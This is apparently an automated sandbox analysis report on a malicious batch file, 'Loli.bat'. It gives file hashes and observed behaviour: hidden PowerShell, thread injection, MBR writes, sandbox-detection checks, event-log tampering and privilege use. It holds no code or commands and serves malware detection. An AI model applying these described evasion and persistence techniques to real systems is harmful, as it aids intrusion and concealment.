Analysis
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max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
31-12-2024 04:18
Static task
static1
Behavioral task
behavioral1
Sample
Loli.bat
Resource
win11-20241007-en
Behavioral task
behavioral2
Sample
Loli.bat
Resource
win7-20240903-en
Behavioral task
behavioral3
Sample
Loli.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral4
Sample
Loli.bat
Resource
win10ltsc2021-20241211-en
Behavioral task
behavioral5
Sample
Loli.bat
Resource
win11-20241007-en
General
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Target
Loli.bat
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Size
7.2MB
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MD5
b052451fc18d2a15c1d83312b55d09a3
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SHA1
81ed7f80a894ceaca01153920d3b5e73f593d6a5
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SHA256
adf4074b727b1f4914e3d1bd154f5d8672d16688960a77d4262e2c620cf7f890
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SHA512
9102cea466aa291c2df1a4f2d69d4cfe71ef7c7dd048f17719757ed317e80b192337894d59c04fdb95c9c92fc1b0568f2049960ee927bc66d6b421e089a8a659
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SSDEEP
49152:zHRDNbQ4h2m6rQA3V8VxkTxV824RWYDQhM84IU6ZGnxb6szVaeB8bOYxs4ztgyUv:F
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3664 created 616 3664 powershell.exe 5 -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3664 powershell.exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\T: svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe -
Drops file in System32 directory 16 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 OfficeClickToRun.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D lsass.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3664 set thread context of 1108 3664 powershell.exe 87 -
Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\$rbx-onimai2 powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe -
Checks processor information in registry 2 TTPs 9 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 5 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018401102A100A1 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000041b27748aa4b8a4397005b38cc2abb720000000002000000000010660000000100002000000024c95a78727e06d470b8f7d7f7d64ca99c108bc7307a0a3e944bdb607f948bc6000000000e800000000200002000000063a4e6ce49bb635b8d15e25ba441b1bcafbcc433822a2e471891cd50e78b489d80000000d79ba5ad2c99b7ae5bc78873425215ded07914953d9c9c9caffa683889c2ebb2ad58f7693ce97b9e6d3a7ed83b1bca1298f70cc43b2c0fee0ae23d9c6f7063e74a86ad2e35822ade3ffa552404ced913de25ac326e4a09b9e138f24acc544bef2ba0c80a78fbf104bb493185450d020c7a01c1cfbb99f6576a567a6abf127a4440000000fa446ccde3bb1d13b44c57b57147fb488dfb693e0c1dd7c7241a30034a8f9aedc486ec6875732fa2575d519af6a3c6ce382228a96e3a7043a374ffa51a575657 mousocoreworker.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000041b27748aa4b8a4397005b38cc2abb7200000000020000000000106600000001000020000000d534ac9a4e1de885aaeae6552db55025bdfb4ed4b2b4cfc3c63ff7c11bcfda32000000000e8000000002000020000000690e470dec4efe59fe05a19189d6db29f527dfdaf5979b488a9e535ea94050ecb0030000e944d14849ddb76078a75de1eca7f3a8ad293a4086ef65e274f4fcbf56894f662e950718eb8d8ba851aa56dc487bb3dcfd1b6cd976592f3c557a0eec00d93194ba3d382c21550f97dcc79e15217222b85d9a768e67ca6a7efe029bb2d5b83c068198d2119f4df1cb8c44c5cce9fd38a281f25c711ec27dba95eacb2777490f68a85141dd7405c19b07328dcc34c33cf9f0ece75b8971aff08fd3038e51f95405566b8602440af57149924952e9b322908865bfabb17139710cc17e24916f60500658cb34cea7e5ac836fc10035b424a2d4d1b65559e0b2f3a40275ad6b23bff6ef64a82e1717c29fab6a67640d951aaeb34c59c0f73ede8e3c8c31dddf429a2914bfe6f9431e70bcde3701474c0d0c86e0ecb6380579473706e5a8f25dca3a9e856efdce137cb26bc509472edfd676cfb31f09401af1fdc74e2311af71301fcdf9c7fdb6a65a5ea533b28d846617fbd4f3159010d29a9ffb30b006f76fdb18360a885a0461e8319f48c3d520f99a1465d9abdc64b4fbb53f182ad84a0cc1bc8dc573f573c741ff026056b52731a59ed43be43be3a7fe61140e8d65d5d095dd5c22b1998b812fab7b4888cf2f42304af6d73eee06bf858968a90ce5fe4054f812c5b43c58083caa2a66d68b04404c605122a80081a466990772697cb7846f5592863dc6d05f5cfb589d2b4d1f57c3d84a17ddf0be101cb71fb365bd82461b30865b6caeff317cfba00a3327088eeb22403a489ac1a601bc7798d98eae3eff2a24e9449f969bbba78ff1918fb3238daa040b270f9361458f3a181495f6a4d5a5634b5db2fa89d3ee054b0590e55215e298788536c9549c24f717d43f17dc7ce720cfebcfe34748d7a817030e8aeaecc569507e09fed6df302efce3a84c3c9c82da45bfac4a698d6e84a7ad90463d0a616e442ebe6101c4b2f1fcabb6aaa2e9ba02f9e6553d5f1dcc89b4f4a9c9b1c892b472ddd78f02053b36b738fbf5142c173c649dc55f9ad3ed2265621043cf857e50fa8b1f23f8820e85a23f0e6ae94a5352da89eccc6daa602a3e9c4bab54bd47669b3126e92ae79250ad4307fb5cd3877ae55dc5273835cefd32c78eb30fbfb0f23eb9c621fad72c40efd64b4d7e90c021b0706d0b37e6db79fe497299c303960ec3064c63948e1eda167a627006e6cd3d99aacd0d0a10b08ee085ad4a9f32517068bd6dc37a1178281823ee29bb64f9253f6fc2ca0bcdd3b386ea0c308c557843d188b05e39d887dc16fb852b9bbc123fea05802b2b4135460ed91cb02e36b1cf551a225be61a76e730cf67321db19d023dcd6aba18496c7b7f2dd3ad4e6e62124000000073770412fb68382b1fa883f297c41b41f8be2be05b80ac97b7e27eb1acd17c52f4a1aeb61614a82bcc666ecfcde50a0973f70ebafaee9837cc982e3a7ca05f22 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018401102A100A1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1735618852" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018401102A100A1" mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={028D3B53-8845-416C-B6A3-C334118DC385}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 31 Dec 2024 04:20:54 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3664 powershell.exe 3664 powershell.exe 3664 powershell.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 4128 wmiprvse.exe 4128 wmiprvse.exe 4128 wmiprvse.exe 4128 wmiprvse.exe 4128 wmiprvse.exe 4128 wmiprvse.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe -
Suspicious behavior: LoadsDriver 64 IoCs
pid Process 4408 Process not Found 4780 Process not Found 4888 Process not Found 1296 Process not Found 4676 Process not Found 3104 Process not Found 824 Process not Found 4028 Process not Found 1332 Process not Found 3280 Process not Found 4944 Process not Found 948 Process not Found 4352 Process not Found 3060 Process not Found 832 Process not Found 4964 Process not Found 1524 Process not Found 2172 Process not Found 920 Process not Found 4000 Process not Found 3668 Process not Found 4820 Process not Found 440 Process not Found 4232 Process not Found 2716 Process not Found 2816 Process not Found 4976 Process not Found 3352 Process not Found 32 Process not Found 4692 Process not Found 4696 Process not Found 2224 Process not Found 4812 Process not Found 3760 Process not Found 4476 Process not Found 2520 Process not Found 3260 Process not Found 4732 Process not Found 5044 Process not Found 1452 Process not Found 5000 Process not Found 2020 Process not Found 3528 Process not Found 4768 Process not Found 1424 Process not Found 4852 Process not Found 944 Process not Found 2228 Process not Found 3332 Process not Found 5048 Process not Found 3684 Process not Found 1612 Process not Found 2216 Process not Found 4984 Process not Found 3708 Process not Found 4932 Process not Found 3120 Process not Found 4948 Process not Found 4080 Process not Found 1028 Process not Found 3376 Process not Found 1992 Process not Found 2516 Process not Found 2392 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3664 powershell.exe Token: SeDebugPrivilege 1108 dllhost.exe Token: SeShutdownPrivilege 3560 Explorer.EXE Token: SeCreatePagefilePrivilege 3560 Explorer.EXE Token: SeShutdownPrivilege 3560 Explorer.EXE Token: SeCreatePagefilePrivilege 3560 Explorer.EXE Token: SeShutdownPrivilege 3560 Explorer.EXE Token: SeCreatePagefilePrivilege 3560 Explorer.EXE Token: SeShutdownPrivilege 3560 Explorer.EXE Token: SeCreatePagefilePrivilege 3560 Explorer.EXE Token: SeShutdownPrivilege 2812 svchost.exe Token: SeCreatePagefilePrivilege 2812 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2280 svchost.exe Token: SeIncreaseQuotaPrivilege 2280 svchost.exe Token: SeSecurityPrivilege 2280 svchost.exe Token: SeTakeOwnershipPrivilege 2280 svchost.exe Token: SeLoadDriverPrivilege 2280 svchost.exe Token: SeBackupPrivilege 2280 svchost.exe Token: SeRestorePrivilege 2280 svchost.exe Token: SeShutdownPrivilege 2280 svchost.exe Token: SeSystemEnvironmentPrivilege 2280 svchost.exe Token: SeManageVolumePrivilege 2280 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2280 svchost.exe Token: SeIncreaseQuotaPrivilege 2280 svchost.exe Token: SeSecurityPrivilege 2280 svchost.exe Token: SeTakeOwnershipPrivilege 2280 svchost.exe Token: SeLoadDriverPrivilege 2280 svchost.exe Token: SeSystemtimePrivilege 2280 svchost.exe Token: SeBackupPrivilege 2280 svchost.exe Token: SeRestorePrivilege 2280 svchost.exe Token: SeShutdownPrivilege 2280 svchost.exe Token: SeSystemEnvironmentPrivilege 2280 svchost.exe Token: SeUndockPrivilege 2280 svchost.exe Token: SeManageVolumePrivilege 2280 svchost.exe 